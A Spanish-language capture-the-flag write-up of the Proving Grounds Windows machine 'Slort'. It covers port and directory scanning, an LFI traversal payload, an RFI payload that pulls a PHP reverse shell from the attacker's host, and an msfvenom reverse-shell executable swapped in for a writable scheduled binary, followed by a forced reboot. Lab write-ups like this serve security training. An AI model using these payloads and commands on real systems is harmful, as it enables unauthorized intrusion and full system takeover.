Inicializando interfaz segura...0%
mem: 0x0000pid: 1000
SYSTEM ONLINE

v2.0.4 // SECURE

~ / ops / slort.es.md

Slort

1 de febrero de 2025 | Proving Grounds | medium
#windows #rfi #lfi #file-inclusion #php #scheduled-task #msfvenom

Slort Banner

Detalles

  • Sistema Operativo: Windows
  • Dificultad: Medium
  • IP Address: 192.168.131.53
  • Autor: AETH3RON

Resumen

Slort es una máquina Windows que sufre una vulnerabilidad crítica de inclusión de archivos. El acceso inicial se establece explotando una vulnerabilidad de Remote File Inclusion (RFI) en la aplicación web para ejecutar una reverse shell PHP. La escalada de privilegios se logra reemplazando un binario programado que se ejecuta con privilegios elevados, concediendo acceso completo al sistema tras la ejecución.

Enumeración

Nmap

Comenzamos escaneando el objetivo en busca de puertos abiertos y servicios para identificar vectores de ataque potenciales.

nmap -Pn -sS -sV -p- 192.168.131.53 -oN nmap-basic

Escaneo nmap básico SYN mostrando los puertos abiertos en Slort incluyendo el puerto 8080

Realizamos un escaneo más completo sobre los puertos descubiertos.

nmap -Pn -sS -sC -p21,135,139,445,3306,4443,5040,7680,8080 192.168.131.53 -oN nmap-common

Escaneo nmap dirigido revelando servidor web XAMPP en el puerto 8080 y servicios adicionales

El escaneo revela varios puertos abiertos, incluyendo el 8080, que parece alojar un servidor web.

Enumeración Web

Realizamos fuerza bruta de directorios contra el servidor web en el puerto 8080.

gobuster dir -u http://192.168.131.53:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Gobuster descubriendo el directorio /site en el puerto 8080

Descubrimos un directorio interesante llamado /site. Navegando a esta URL obtenemos más información sobre la estructura de la aplicación.

Página /site del sitio web con el sospechoso parámetro 'page' en la URL sugestivo de inclusión de archivos

La estructura de la URL destaca inmediatamente. El parámetro page parece controlar qué contenido se muestra. Este comportamiento es un indicador fuerte de posibles vulnerabilidades de Local File Inclusion (LFI) o Remote File Inclusion (RFI).

Acceso Inicial

Para verificar la vulnerabilidad, intentamos acceder a un archivo de sistema conocido. Intentamos incluir el archivo hosts de Windows usando directory traversal.

?page=../../../../../../../../windows/system32/drivers/etc/hosts

Confirmación de LFI: contenido del archivo hosts de Windows devuelto mediante directory traversal en el parámetro page

El servidor devuelve el contenido del archivo, confirmando la vulnerabilidad LFI. Antes de extraer archivos locales, probamos Remote File Inclusion (RFI), que nos permitiría ejecutar código alojado en nuestra máquina atacante. Iniciamos un servidor web Python e intentamos incluir un recurso remoto.

?page=http://192.168.45.185/

Confirmación de RFI: el servidor conecta a nuestro servidor HTTP Python cuando se pasa nuestra IP como parámetro page

El servidor se conecta exitosamente a nuestra máquina, confirmando que RFI está habilitado. Para ganar acceso, creamos una reverse shell PHP simple (shell.php) y la hosteamos. Luego disparamos la ejecución apuntando el parámetro page a nuestro archivo malicioso mientras un listener Netcat está activo.

?page=http://192.168.45.185/shell.php

Disparo de RFI: parámetro page apuntando a shell.php en nuestra máquina atacante para ejecutar la reverse shell

El sitio web se congela mientras ejecuta el script, y recibimos una reverse shell en nuestro listener como el usuario rupert.

Listener Netcat recibiendo la conexión de reverse shell como el usuario rupert

Escalada de Privilegios

Durante la enumeración post-explotación, descubrimos un directorio llamado C:\Backup. Dentro, encontramos un archivo llamado info.txt que contiene una pista crucial: el ejecutable TFTP.EXE se ejecuta cada 5 minutos.

type C:\Backup\info.txt

Contenido de C:\Backup\info.txt revelando que TFTP.EXE se ejecuta como tarea programada cada 5 minutos

Comprobamos los permisos de TFTP.EXE para determinar si podemos manipularlo.

icacls TFTP.EXE

icacls mostrando que rupert tiene Acceso Total (F) a TFTP.EXE — escribible y reemplazable

La Lista de Control de Acceso (ACL) muestra que nuestro usuario tiene Acceso Total (F) al archivo. Esto nos permite reemplazar el binario legítimo con un payload malicioso. Si la tarea se ejecuta como un usuario privilegiado, elevaremos nuestros privilegios.

Primero, renombramos el ejecutable original para hacer una copia de seguridad y limpiar la ruta.

move TFTP.EXE TFTP.EXE.BAK

TFTP.EXE renombrado a TFTP.EXE.BAK para hacer copia de seguridad del original y liberar el nombre de archivo

A continuación, generamos un ejecutable malicioso usando msfvenom configurado para conectar de vuelta a nuestro listener.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.185 LPORT=4455 -f exe > TFTP.EXE

Msfvenom generando un payload de reverse shell malicioso TFTP.EXE para el reemplazo

Transferimos el payload a la máquina objetivo. Dado que nuestro usuario actual posee SeShutdownPrivilege, en lugar de esperar a que la tarea programada se active, forzamos un reinicio para reiniciar todos los servicios y tareas inmediatamente.

shutdown /r /t 0 /f

Comando shutdown /r forzando reinicio inmediato para activar el TFTP.EXE malicioso programado en el arranque

Una vez que la máquina reinicia y las tareas se inicializan, nuestro TFTP.EXE malicioso se ejecuta. Recibimos conexión en nuestro listener como el usuario administrator.

Listener Netcat recibiendo la conexión de reverse shell como administrator tras el reinicio de la máquina

Impacto de Negocio

Esta cadena de ataque resalta los peligros de ejecutar aplicaciones web con vulnerabilidades de inclusión de archivos en entornos de producción. La vulnerabilidad de Remote File Inclusion permite a un atacante ejecutar código PHP arbitrario apuntando la aplicación a un recurso externo malicioso — un fallo común en aplicaciones web que puede eludir controles de seguridad perimetrales tradicionales. La posterior escalada de privilegios mediante secuestro de binarios de tareas programadas demuestra cómo los procesos automatizados ejecutándose con privilegios elevados pueden ser armados. En un entorno empresarial, esta combinación permitiría a un atacante establecer acceso persistente que sobrevive a reinicios y evade la detección al aparecer como mantenimiento programado legítimo.

Referencias